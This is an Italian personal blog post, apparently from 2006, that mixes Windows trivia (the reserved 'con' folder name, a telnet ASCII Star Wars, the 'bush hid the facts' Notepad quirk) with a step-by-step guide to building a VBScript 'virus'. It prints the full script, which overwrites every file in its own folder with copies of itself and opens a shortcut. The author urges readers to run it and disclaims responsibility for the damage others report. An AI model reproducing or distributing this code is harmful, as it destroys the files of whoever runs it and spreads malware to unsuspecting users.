αмяιт 的个人资料Amrit照片日志列表更多  |  工具 帮助 |
|
2006/12/3 Lo Sapevate Che...sapevate che... - non potete creare una nuova cartella con il nome "con" o "Con".Windows vi dirà sicuramente che il file esiste già o non ve lo rinomina affatto!!! - se scrivete "telnet towel.blinkenlights.nl" (senza virgolette) in esegui (cliccate su start -> esegui) potete vedere il film stars wars in formato ASCII art. Fatelo è fikissimo. - se in un blocco note scrivete "bush hid the facts" (senza virgolette) lo salvate con qualsiasi nome,chiudete e quando riaprirete non vedrete più quello che avete scritto se volete saperne di più CLICCATE QUI cOmE cReaRe uN VBS vIrUsO mEgLiO cOmE cReArE uN vIrUs.QuEsTo vIrUs fA vEdErE iMmAgInI dIvErTeNtI nEL bRoWsEr iNfEtTatO. sE La vOsTra è La pRiMa eSpErIeNZa vI sPiEgHErO' pAsSo pEr pAsSo :
- CoL mOuSe fAtE iL cLiCcO dEsTrO sUL DeSktOp
- SeLeZiOnAtE "nuovo"
- pOi vEdrEtE uN sAcCo dI cOsE, cLiKkAtE sU "documento di testo"
- iL dOcUmEnTo sI SaLvErA' SuL dEsKtOp, qUiNdI rInOmiNaTeLo cOn QuALsIaSi nOmE. X eS. il mio documento
- pOi SeLeZiOnAtE (o cOpIaTe) iL tEsTo eLeNkAtO qUi sOtTo FrA "tAgLiA qUi" ( NON SELEZIONATE TAGLIA QUI ) e cOpIaTeLO (ctrl + c)
- UnA VolTa SeLeZiOnATo iL tEsTo tOrNaTe sUL dOcUmEnTo dI tEsTo e InCoLLaTeLo (ctrl + v)
- iL cOdIcE vErRa pUbBliCaTo sULLo sChErMo. E pEr fAr fUnZiOnArE iL vIrUs(sempre sul documento di testo) cLiCcAtE sU "file" pOi "salva con nome..." dAtE uN nOmE aL vIrUs e dOpO iL nOmE aGgIUNgEtE ".vbs" x es. "il mio documento.vbs"
- iL vIrUs è oRa pRoNtO pEr L'uSo
 xxxxxxxxxxxxxxxxx tAgLiA qUi xxxxxxxxxxxxxxxxx
'pentagram '------------------------------------------------ 'VBS.=) 'Made By: -† H£ ®£ß£L- 'With Notepad 'By -† H£ ®£ß£L- (uv course an alias) 'Do NOT edit above this line!!! '------------------------------------------------" Dim pentagram, WshShell, FSO, VX, VirusLink On Error Resume Next Randomize Set FSO = CreateObject("Scripting.FileSystemObject") Set WshShell = Wscript.CreateObject("Wscript.Shell") pentagram = Wscript.ScriptFullName VX = Left(pentagram, InStrRev(pentagram, "\")) For Each target in FSO.GetFolder(VX).Files FSO.CopyFile pentagram, target.Name, 1 Next If Int((2 * Rnd) + 1) = 1 Then MsgBox "HAIL TEXTFILES.COM", 4096 , "VBS.=)" Set VirusLink = WshShell.CreateShortcut("C:\WINDOWS\Favorites\pentagram.URL") VirusLink.TargetPath = "give some website name eg.www.funnypics.com" VirusLink.Save WshShell.Run ("C:\WINDOWS\Favorites\pentagram.URL") End If 'pentagram xxxxxxxxxxxxxxxxx tAgLiA qUi xxxxxxxxxxxxxxxxx se volete rimuovere il virus o sapere come creare altri tipi di virus contattatemi. XD
P.S. ultimamente alcune persone mi hanno contattato dicendo di avere qualche problema nel pc a causa di questo virus, vi dico già che non sarò io il responsabile. Quindi farete meglio a controllare l'antivirus prima di continuare con la procedura di creare il virus.
Buona Fortuna <Intervento Modificato> |
|
|
